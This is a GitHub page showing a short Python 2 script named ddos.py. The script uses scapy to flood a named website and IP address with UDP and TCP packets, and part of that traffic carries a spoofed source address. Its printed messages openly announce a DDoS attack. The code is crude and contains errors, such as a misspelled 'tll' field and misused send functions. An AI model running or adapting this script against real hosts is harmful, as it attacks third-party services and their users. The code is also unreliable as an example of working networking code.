forked from IVorder/python
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ddos.py
45 lines (45 loc) · 1.4 KB
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#-*- coding:'utf-8' -*-
import time
import struct
from threading import *
import socket
from scapy.all import *
start=time.time()
screenlock=Semaphore(value=1000)
print '[^]HAQ DDOs start!'
def DDos():
try:
print '[*]Second layers of DDos'
s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())
print s[0].show()
except Exception,e:
print '[-]The cause of the mistake {}'.format(e)
try:
print '[*]Third layer DDos'
p = srloop(IP(dst="www.dgjy.net", ttl=160) / UDP())
print p[0].show()
except Exception,s:
print '[-]The cause of the mistake{}'.format(s)
try:
print '[*]Repeated attacks'
see=srp(IP(dst="113.108.127.169")/TCP(dport=[80,443]))
print see[0].show()
except Exception,f:
print '[-]The cause of the mistake{}'.format(f)
try:
data = struct. pack ('=BHI',0x96,20,1000)
pkt = IP(src='192.168.225.141',dst='113.108.127.169')/UDP(sport= 12345,dport=[80,443])/data
print '[*]DDoS attacks are being carried out!'
screenlock.acquire()
send (pkt,inter= 1 ,count= 160)
except Exception,g:
print "[-]The cause of the mistake{}".format(g)
try:
print '[*]DDos'
gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP())
except Exception,i:
print '[-]cause of the mistake{}'.format(i)
t = Thread(target=DDos, args=())
t.start()
end=time.time()
print '[!]Time consuming of this program,The first time is the initialization time:',end-start